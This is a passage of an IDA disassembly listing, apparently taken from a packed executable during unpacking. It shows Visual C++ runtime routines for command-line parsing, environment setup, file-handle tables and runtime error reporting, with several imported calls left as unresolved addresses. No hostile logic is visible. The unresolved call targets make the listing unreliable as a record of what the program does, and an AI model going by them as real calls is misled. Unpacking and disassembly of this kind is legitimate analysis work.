XREF: ___:00422E79j push esi mov esi, dword_4DCFEC mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DCFF4, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB9C8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB980, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB9C8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB9C8 call sub_41B0B1 pop ecx mov dword_4DB9C8, ebx mov [esi], ebx pop edi pop esi mov dword_4DCFF0, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DCFF4, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2670000h nop mov eax, dword_4DCFEC mov off_4DB990, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB978, esi pop edi pop esi mov dword_4DB974, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DCEC1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DCEC1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DCEC1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DCEC1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DBB38 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DBB38, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j nop call near ptr 2620A4Fh mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DBB38, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2620C4Fh mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD nop call near ptr 2620A4Fh mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 2620CA8h mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DCCA0, esi mov dword_4DCDA0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DCCA0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax call near ptr 2880000h nop cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DCDA0, esi jge short loc_4233E6 mov edi, offset dword_4DCCA4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DCDA0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DCDA0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DCDA0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 2620000h test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DCCA0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DCCA0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax nop call near ptr 262080Eh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi call near ptr 2620000h nop test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DCDA0 nop call near ptr 26209DFh pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB9D0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A9A4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DBB3C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D038 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43D0C8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D038[esi] jnz loc_423719 mov eax, dword_4DB9D0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A9A4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2670000h nop test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C08 ; "\n\n" push eax call sub_41BEC0 push off_43D03C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43D03C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 262080Eh push eax nop call near ptr 26F0000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DCCA0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DCDA0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DCDA0, 20h lea ecx, ds:4DCCA0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DCDA0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DCCA0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A9A4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 2610D9Bh loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB95C, 0 mov dword_4DB958, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DCDA0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DCCA0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A9A4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2610D9Bh loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB95C, 0 mov dword_4DB958, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCDA0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCCA0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB95C, 0 mov dword_4DB958, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCDA0 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DCCA0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax nop call near ptr 261075Eh test eax, eax jnz short loc_42391D nop call near ptr 2680ABEh jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB95C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB958, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DCC80 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DCC80, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DBC78, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DCC80, esi call sub_424E01 pop ecx mov 